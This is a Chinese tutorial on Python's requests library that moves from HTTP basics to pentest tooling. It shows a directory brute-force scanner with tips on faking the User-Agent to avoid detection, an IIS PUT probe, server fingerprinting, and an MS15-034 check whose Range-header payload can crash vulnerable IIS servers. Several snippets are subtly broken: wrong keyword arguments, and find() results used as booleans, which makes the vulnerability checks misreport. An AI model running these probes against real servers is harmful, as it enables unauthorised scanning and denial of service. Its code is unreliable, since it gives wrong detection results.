Python模块-requests(HTTP)

    技术2024-10-22  109

    HTTP协议介绍

    协议分类: HTTP 1.0,使用的是80端口,一次一个连接。明文传输,不安全。 HTTP 1.1,使用的是80端口,可多次一个连接。明文传输,不安全。 HTTPS,使用的是443端口,可多次一个连接。加密传输。

    请求方法:


    HTTP1.0HTTP1.1GETGETPOSTPOSTHEADHEAD—PUT—DELETE—TRACE—CONNET—PATCH

    URL格式: 协议://主机名.域名/文件夹/文件夹/文件?参数1=值1&参数2=值2

    HTTP请求头 user-agent:浏览器的版本信息 Accept-encoding:浏览器接收的编码 Referer:当前页面是从哪里跳转过来的 Cookie: Location:跳转到哪里 Set-Cookie:设置Cookie信息(在HTTP响应头) WWW-Authenticate:用于身份验证信息HTTP、Basic等

    HTTP响应状态码 1xx:信息提示 2xx:请求响应成功 3xx:重定向 4xx:客户端错误 5xx:服务端错误

    HTTP 请求: 浏览器审查工具、BurpSuite等

    Python-HTTP请求

    GET请求 1、不带参数:requests.get(url) 2、带参数:r.url获取请求URL import requests url="http://httpbin.org/get/ " payload={'key1':'value1','key2':'value2',} r=requests.get(url,params=payload) print(r.status_code) #获取响应码 print(r.url) #获取请求的URL POST请求 1、不带参数:requests.post(url) 2、带参数:r.url获取请求URL import requests url="http://httpbin.org/get/ " payload={'key1':'value1','key2':'value2',} r=requests.post(url,data=payload) print(r.status_code) #获取响应码 print(r.url) #获取请求的URL 自定义请求 import requests url="http://127.0.0.1/brute/brute_get.php" zdy={'User-agent':'hehe'} #导入请求头选项,并附上value r=requests.get(url,header=zdy) #以GET形式请求,并传入自定义的header print(r.requests.headers) #获取请求头 其他请求 方法解释requests.request()构造一个请求,支持以下各种方法requests.get()获取html的主要方法requests.head()获取html头部信息的主要方法requests.post()向html网页提交post请求的方法requests.put()向html网页提交put请求的方法requests.patch()向html提交局部修改的请求requests.delete()向html提交删除请求

    Python-HTTP响应

    import requests url="https://www.baidu.com/" r=requests.get(url) print(r.text) #获取响应包 print(r.content) #二进制的形式获取响应包 print(r.status_code) #获取响应码 print(r.url) #获取请求包的URL print(r.request.headers) #获取请求头 print(r.headers) #获取响应头 print(r.cookies) #获取cookie

    Python-HTTP代理

    import requests url='https://www.baidu.com' proxise={'http':'http://192.168.83.138:8080','https':'https://192.168.83.138:8080'} r=requests.get(url,proxies=proxise,verify=False) print(r.status_code)

    Python-HTTP会话编程

    url='https://www.baidu.com' s=requests.session() #初始化一个session对象 r=s.get(url) #首次请求,无cookie print(r.cookies) print(r.request.headers) r2=s.get(url) #再次请求时,会带上首次响应返回的cookie值 print(r2.request.headers)

    Python 目录扫描工具

    目录扫描原理 1、读取字典文件,拼接URL。 2、HTTP GET请求URL。 3、判断状态码,输出存在目录。

    字典文件读取

    with open("filename.txt","r") as f #打开字典文件,with:读取完就关闭。 f.readline() #读取一行 f.readlines() #读取全部文件 f.read(x) #读取x个字节 工具编写 1、读取字典文件 2、HTTP GET请求 3、参数优化 import requests url='https://github.com/' with open('dir.txt','r') as f: for line in f.readlines(): line = line.strip() #字典中换行会当成空行,所以strip()可以去除 print(line) r=requests.get(url+line) #拼接url和line if r.status_code==200: #判断响应码是否为200 print('ulr:'+r.url+'exist') #如果响应啊为200时,打印出请求的URL 设置User-Agent,在扫描时非通常的User-Agent可触发被扫描对象的发觉,所以可以“伪造”成通常的User-Agent。更逼真一些,也可以早扫描时导入一个User-Agent字典,让每一个请求包的User-Agent都不相同。 import requests url='https://www.baidu.com' s={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36'} r=requests.get(url,headers=s) print(r.request.headers)

    Python - IIS PUT漏洞探测工具

    import requests url='http://192.168.83.141:8006/' r=requests.options(url) print(r.headers) #响应头以字典的形式获取到 result=r.headers['Public'] #获取Public if result.find('PUT') and result.find('MOVE'): #查找响应头中的public中是否有‘PUT’,‘MOVE’ print('exist IIS put val') else: print('not exist')

    Python 获取HTTP服务器信息

    以Windows 2003为例 import requests url='http://192.168.83.141:8006/' r=requests.get(url) print(r.headers) print("服务器中间件为:"+r.headers['Server']) print("服务器脚本语言:"+r.headers['X-Powered-By'])

    Python 漏洞检测工具

    漏洞原理: 漏洞被披露之后,根据漏洞原理写出对应的PoC代码,用来验证漏洞是否存在。 写PoC代码,首先要了解漏洞原理。编写代码: 以ms15-034为例: Payload:‘Host’: ‘stuff’,‘Range’: ‘bytes=0-18446744073709551615’ url='target_ip' r=requests.get(url) #先发送一个请求,以便获取响应头 remote_server= r.headers['Server'] #获取响应头的Server if remote_server.find('IIS/7.5') or remote_server.find('8.0'): #判断系统中间件是否为IIS/7.5或IIS/8.0 payload={'Host': 'stuff','Range': 'bytes=0-18446744073709551615'} #该漏洞的Payload r1=requests.get(url,headers=payload) #加载上payload,发送请求。 if str(r1.content).find('Requested Range Not Satisfiable'): #判断响应包中是否有'Requested Range Not Satisfiable'字符串 print(url + 'exist vuln ms15-034') #如果有就说明存在漏洞 else: print(url + 'not exist vuln ms15-034') else: print('Server not a iis 7.5 or iis 8.0') 验证检测代码检测效果: 搭建漏洞环境用于测试。 与其他工具进行效果对比。

    站点地图构建(完整目录与文件)

    测试Web APP首要任务,获取站点的完整目录与文件。技术种类: 1、通过基于字典的目录文件扫描(爆破),再通过响应状态码确定是否存在,使用Python的requests模块即可完成。 2、通过基于网络爬虫,使用Python的Scrapy模块即可完成。BurpSuite构建站点地图,通过Spider模块(爬虫)、Intruder模块(爆破)即可完成。
    Processed: 0.013, SQL: 9